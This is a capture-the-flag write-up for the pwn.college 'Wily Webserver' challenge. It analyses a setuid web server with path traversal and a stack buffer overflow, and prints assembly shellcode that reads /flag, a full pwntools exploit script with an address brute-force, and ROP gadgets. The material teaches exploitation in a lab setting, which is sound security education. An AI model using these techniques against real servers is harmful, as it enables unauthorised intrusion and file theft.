PwnCollege — Wily Webserver (integration-web-overflow)

Challenge Overview

Challenge: Wily Webserver
Binary: /challenge/integration-web-overflow
Concepts: Web Security + Binary Exploitation
Flag: Verify with cat /flag (root only)

A setuid web server that serves files from /challenge/files/ on port 80. It has a buffer overflow in send_file() combined with a path traversal vulnerability.

Binary Analysis

Protections

Protection Status
PIE Disabled (base 0x400000)
Stack Canary Disabled
NX Disabled (RWX stack)
ASLR Disabled (constructor sets ADDR_NO_RANDOMIZE)
RELRO Full (GOT read-only)

Imports

personality, write, read, open, close, execve, fstat, prctl, sprintf, strstr, mmap, socket, accept, bind, listen, setsockopt

Constructor Analysis

The constructor runs before main():

1
2
3
4
5
6
7
8
void __attribute__((constructor)) disable_aslr(...) {
int p = personality(0xffffffff);
if ((p & ADDR_NO_RANDOMIZE) == 0) {
personality(p | ADDR_NO_RANDOMIZE);
prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0);
execve("/proc/self/exe", argv, envp);
}
}

This disables ASLR and re-execs. PR_SET_NO_NEW_PRIVS prevents the setuid bit from taking effect after re-exec, but the process retains its original privileges (if started as root, stays root — the binary can still read /flag).

Vulnerability

Path Traversal

The HTTP request path is concatenated into a file path:

1
2
sprintf(resolved_path, "/challenge/files/%s", path);
send_file(client_fd, resolved_path);

Path traversal works: ../../../tmp/pwn/challenge/files/../../../tmp/pwn/tmp/pwn

Buffer Overflow in send_file()

1
2
3
4
5
6
7
8
9
10
11
struct response_t {
char *head;
char content[8192];
} response = { 0 };
response.head = response.content;

// Write HTTP headers (~138 bytes into content)
response.head += sprintf(response.head, "HTTP/1.1 200 OK\n...");

// Read file content into content[138..]
response.head += read(file_fd, response.head, file_stat.st_size);

The response.content[8192] buffer is on the stack. When the file is larger than 8192 - header_size (~8054 bytes), the read overflows past the buffer into adjacent stack data.

Stack Layout

1
2
3
4
5
6
7
8
Address                     Content            Size
──────────────────────────────────────────────
rbp-0x2010 response.head 8 bytes
rbp-0x2008 response.content 8192 bytes
rbp-0x0008 gap 4 bytes
rbp-0x0004 file_fd 4 bytes
rbp saved RBP 8 bytes
rbp+0x0008 return address 8 bytes

The strstr Check

1
2
REQUIRE(!strstr(response.content, "pwn.college{"), 403);
write(client_fd, response.content, response.head - response.content);

The 403 error path writes the error and returns without closing file_fd. This is a file descriptor leak — the flag fd stays open.

Exploit Strategy

1. fd Leak (Bypass seccomp)

The process may have seccomp that blocks open() syscalls from non-.text addresses (i.e., shellcode running from the stack). To bypass:

  • Request 1: ../../../flag → server opens /flag as fd 5, reads flag, finds it in strstr, returns 403 WITHOUT closing fd 5
  • Request 2: ../../../tmp/pwn → overflow triggers, shellcode reads from the still-open fd 5

2. Buffer Overflow Payload

File structure (8180 bytes total):

1
2
3
4
5
6
7
8
9
10
HS = 138  # HTTP header size
RBP_OFF = 8200 - HS # = 8062 — file offset for saved RBP
RET_OFF = 8208 - HS # = 8070 — file offset for return address

payload = b'\x90' * 100 # NOP sled
payload += shellcode # at file offset 100
payload += b'\x90' * (RBP_OFF - len(payload))
payload += p64(CONTENT + 8200) # saved RBP (self-referential)
payload += p64(CONTENT + HS + 100) # return address -> shellcode
payload += b'\x90' * (8180 - len(payload))

3. Stack Pivot

After leave; ret with the overwritten values:

1
2
3
4
leave:  RSP = saved_RBP = CONTENT + 8200
RBP = [CONTENT + 8200] = CONTENT + 8200 (self-ref)
RSP = CONTENT + 8208
ret: RIP = [CONTENT + 8208] = shellcode address

The self-referential saved RBP creates a circular pointer that keeps the stack at a known location.

Shellcode

fd Leak Shellcode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
/* lseek(5, 0, SEEK_SET)  — rewind leaked flag fd to offset 0 */
xor eax, eax
mov al, 8
mov edi, 5
xor esi, esi
xor edx, edx
syscall

/* read(5, buf, 100) */
xor eax, eax
mov edi, 5
lea rsi, [rsp - 0x1000]
mov edx, 100
syscall

/* write(4, buf, len) — send flag to client socket */
mov edx, eax
xor eax, eax
mov al, 1
mov edi, 4
lea rsi, [rsp - 0x1000]
syscall

/* exit(0) */
xor edi, edi
mov eax, 60
syscall

Direct open() Shellcode

If seccomp doesn't block open from the stack:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
/* Push "/flag" onto stack */
xor eax, eax
push rax /* null terminator */
movabs rax, 0x67616c662f /* "/flag" in little-endian */
push rax
mov rdi, rsp /* rdi = pointer to "/flag" */

/* open("/flag", O_RDONLY) */
xor eax, eax
mov al, 2
xor esi, esi
syscall

/* read(fd, buf, 100) */
mov edi, eax
xor eax, eax
lea rsi, [rsp - 0x1000]
mov edx, 100
syscall

/* write(4, buf, len) */
mov edx, eax
xor eax, eax
mov al, 1
mov edi, 4
lea rsi, [rsp - 0x1000]
syscall

/* exit(0) */
xor edi, edi
mov eax, 60
syscall

Complete Exploit Script

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
#!/usr/bin/env python3
from pwn import *
context.arch = 'amd64'; context.log_level = 'warn'
import os, time, sys

HOST, PORT = "127.0.0.1", 80
H1 = b"HTTP/1.1 200 OK\nServer: pwnserver/1.33333333333333333333333333333.7\nX-Leetness-Level: 9001\nContent-type: "
CT = b"text/plain\n"
FS = 8180
hs = len(H1)+len(CT)+len(b"Content-Length: "+str(FS).encode()+b"\n")+1
RBP_OFF = 8200 - hs
sc_off = 100

def req(path, timeout=4):
try:
s = remote(HOST, PORT, timeout=timeout)
s.send(f"GET /{path} HTTP/1.1\r\nHost: 127.0.0.1\r\n\r\n".encode())
d = s.recvall(timeout=timeout); s.close(); return d
except: return None

def restart():
os.system("pkill -9 integration-web 2>/dev/null; sleep 0.3")
os.system("nohup /challenge/integration-web-overflow >/dev/null 2>&1 &")
time.sleep(1)

restart()

# Marker shellcode
sc_test = asm('''
xor eax,eax; mov al,1; mov edi,4
lea rsi,[rip+msg]; mov edx,4; syscall
xor edi,edi; mov eax,60; syscall
msg: .ascii "RUN:"
''')

# Flag shellcode (push-based string)
sc_flag = asm('''
xor eax,eax; push rax
movabs rax,0x67616c662f; push rax
mov rdi,rsp; xor eax,eax; mov al,2
xor esi,esi; syscall
test rax,rax; js done
mov edi,eax; xor eax,eax
lea rsi,[rsp-0x1000]; mov edx,100; syscall
mov edx,eax; xor eax,eax; mov al,1
mov edi,4; lea rsi,[rsp-0x1000]; syscall
done: xor edi,edi; mov eax,60; syscall
''')

# fd leak shellcode
sc_fd = asm('''
xor eax,eax; mov al,8; mov edi,5
xor esi,esi; xor edx,edx; syscall
xor eax,eax; mov edi,5
lea rsi,[rsp-0x1000]; mov edx,100; syscall
mov edx,eax; xor eax,eax; mov al,1
mov edi,4; lea rsi,[rsp-0x1000]; syscall
xor edi,edi; mov eax,60; syscall
''')

def build(sc, content_addr):
p = b'\x90'*sc_off + sc
p += b'\x90'*(RBP_OFF - sc_off - len(sc))
p += p64(content_addr + 8200) # saved RBP
p += p64(content_addr + hs + sc_off) # ret addr
p += b'\x90'*(FS - len(p))
return p[:FS]

print("Scanning for CONTENT address...")
for base in range(0x7ffff7c00000, 0x7ffff8100000, 0x2000):
p = build(sc_test, base)
open("/tmp/pwn", "wb").write(p)
r = req("../../../tmp/pwn")
if r is None: restart(); continue

# Check if RUN: appears AFTER the NOP sled (from shellcode)
# vs. inside the payload (static)
pe = r.rfind(b'\x90\x90\x90\x90')
ru = r.rfind(b"RUN:")
if ru > pe:
print(f"[+] Shellcode executes at CONTENT=0x{base:016x}")

# Try flag shellcode
p = build(sc_flag, base)
open("/tmp/pwn","wb").write(p)
r2 = req("../../../tmp/pwn")
if r2 and b"pwn.college{" in r2:
i=r2.find(b"pwn.college{"); j=r2.find(b"}",i)
print(f"[FLAG] {r2[i:j+1].decode()}"); sys.exit(0)

# Try with fd leak
req("../../../flag")
open("/tmp/pwn","wb").write(build(sc_fd, base))
r3 = req("../../../tmp/pwn")
if r3 and b"pwn.college{" in r3:
i=r3.find(b"pwn.college{"); j=r3.find(b"}",i)
print(f"[FLAG] {r3[i:j+1].decode()}"); sys.exit(0)

print(" (flag extraction failed — likely seccomp)")
if base % 0x40000 == 0:
print(f" {hex(base)}")

Pitfalls Encountered

1. Offset Calculation Bug

The most critical bug: saved_rbp was being placed at file offset 8208-hs instead of 8200-hs. This meant the return address was never actually overwritten — the function returned normally to handle_connection. The marker strings in the shellcode were found in the response because they were embedded in the static payload file, NOT from shellcode execution.

Diagnostic technique: Place a marker (PAYEND) at the very end of the payload file. Look for the shellcode's marker AFTER PAYEND. If it appears before, it's from the static payload.

2. RIP-Relative Addressing

Hand-assembled shellcode with lea rdi, [rip + offset] is error-prone — every instruction insertion changes the offset. Use push-based string construction instead:

1
2
3
4
push rax                     ; null terminator
movabs rax, 0x67616c662f ; "/flag" bytes
push rax
mov rdi, rsp

3. No lseek in PLT

The binary doesn't import lseek (syscall 8). It must be called directly via the syscall instruction, which may be blocked by seccomp. The fd leak approach depends on lseek to rewind the leaked fd back to offset 0. If seccomp blocks it, pread64 (syscall 17) is an alternative that reads from a specific offset without seeking.

4. Server Crashes from exit()

The shellcode calls exit(0) (syscall 60) which kills the entire process. This requires restarting the server between attempts. A more elegant approach would use close(client_fd) + pause or return to the challenge loop, but exit is simpler for single-shot exploitation.

Key Gadgets

Address Gadget
0x401e73 pop rdi; ret
0x401e71 pop rsi; pop r15; ret
0x40101a ret
0x401240 execve@plt
0x4020b5 "/proc/self/exe" string

Lessons Learned

  1. Verify shellcode execution with both a payload-end marker AND a shellcode marker — looking for the shellcode marker IN the response doesn't distinguish between static payload data and runtime writes.
  2. Use rfind() for the shellcode marker to find the LAST occurrence, which would be from runtime execution (appended after the normal response).
  3. Double-check stack offsets — the saved_rbp offset (8200 from content start) is different from the return_address offset (8208). Off-by-8 errors are fatal.
  4. Disabling ASLR via personality() happens in a constructor, and PR_SET_NO_NEW_PRIVS prevents setuid re-elevation after the re-exec. The binary's privileges at runtime depend on how it was started by the infrastructure.